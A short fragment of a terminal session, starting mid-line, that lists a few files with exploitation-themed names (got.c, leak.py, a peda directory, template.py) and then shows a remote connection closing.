217 Feb 16 11:01 got.c -rw-rw-r-- 1 ubuntu ubuntu 622 Feb 17 00:43 leak.py drwxrwxr-x 4 ubuntu ubuntu 4096 Feb 14 14:55 peda -rw-rw-r-- 1 ubuntu ubuntu 413 Feb 16 14:31 template.py exit *** Connection closed by remote host ***